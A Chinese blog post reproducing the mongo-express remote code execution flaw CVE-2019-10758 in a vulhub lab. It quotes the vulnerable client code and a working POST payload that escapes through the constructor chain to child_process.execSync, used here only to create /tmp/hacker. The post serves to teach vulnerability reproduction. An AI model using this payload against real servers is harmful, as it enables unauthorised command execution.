当前位置:网站首页>mongo-express 远程代码执行漏洞复现
mongo-express 远程代码执行漏洞复现
2022-08-11 05:32:00 【Tauil】
漏洞原理
在 mongo-express 的 collection.js 中,checkValidIndexJSON 和 checkValidJSON 在处理消息体 document 内容时使用的 addDoc.getValue 和 addIndexDoc.getValue 方法没有进行检验,导致在知晓用户密码情况下可以执行js代码
const addDoc = CodeMirror.fromTextArea(document.getElementById('document'), {
mode: {
name: 'javascript', json: true },
indentUnit: 4,
electricChars: true,
matchBrackets: true,
lineNumbers: true,
theme: ME_SETTINGS.codeMirrorEditorTheme,
});
const addIndexDoc = CodeMirror.fromTextArea(document.getElementById('index'), {
mode: {
name: 'javascript', json: true },
indentUnit: 4,
electricChars: true,
matchBrackets: true,
lineNumbers: true,
theme: ME_SETTINGS.codeMirrorEditorTheme,
});
window.checkValidJSON = function () {
$.ajax({
type: 'POST',
url: `${
ME_SETTINGS.baseHref}checkValid`,
data: {
document: addDoc.getValue(),
},
}).done((data) => {
if (data === 'Valid') {
$('#documentInvalidJSON').remove();
$('#addDocumentForm').submit();
} else if ($('#documentInvalidJSON').length === 0) {
$('#document-modal-body').parent().append('<div id="documentInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
}
});
return false;
};
window.checkValidIndexJSON = function () {
$.ajax({
type: 'POST',
url: `${
ME_SETTINGS.baseHref}checkValid`,
data: {
document: addIndexDoc.getValue(),
},
}).done((data) => {
if (data === 'Valid') {
$('#indexInvalidJSON').remove();
$('#addIndexForm').submit();
} else if ($('#indexInvalidJSON').length === 0) {
$('#index-modal-body').parent().append('<div id="indexInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
}
});
return false;
};
漏洞复现
js文件中定义了该页面访问路径在 http://靶机IP:8081/checkValid ,需要用POST方式提交
消息体内容写入
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/hacker")
同时数据包需要新增类型
Authorization: Basic 用户:密码base64编码值Content-Type: application/x-www-form-urlencoded
打开靶场:vulhub
cd mongo-express/CVE-2019-10758/
sudo docker-compose docker up -d
sudo docker-compose ps
登录网页,发送数据包

进入靶机容器
sudo docker ps
sudo docker exec -it 容器ID bash
ls /tmp
命令执行成功

边栏推荐
猜你喜欢

将UI的点击事件渗透下去

【LeetCode-349】两个数组的交集

Error in render: “TypeError: Cannot read properties of undefined (reading ‘commentsContent‘)“

SSL证书为什么要选付费?

连接数据库时出现WARN: Establishing SSL connection without server‘s identity verification is not recommended.

中小微企业需要使用SSL证书吗?

脚本批量打包渠道包研究

Gradle 相关知识总结

【LeetCode-350】两个数组的交集II

虚拟机更改IP地址
随机推荐
函数使用记录
将UI的点击事件渗透下去
脚本自动选择Hierarchy或Project下的对象
Unity两种VR环境配置方法
mongoose连接mongodb不错,显示encoding没有定义
BaseFragment的抽取
Day 77
详解程序执行过程
buuctf hacknote
C# 基础之字典——Dictionary(一)
lua-table引用传递和值传递
JS this关键字
Unity的程序集Assembly 与 加快代码编译速度
【LeetCode-75】 颜色分类
【LeetCod】三数之和-15
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(5)
CLR via C# 第五章 基元类型、引用类型和值类型
网络安全学习小结--kali基本工具、webshell、代码审计
Dark Horse Event Project
手把手导入企业项目(快速完成本地项目配置)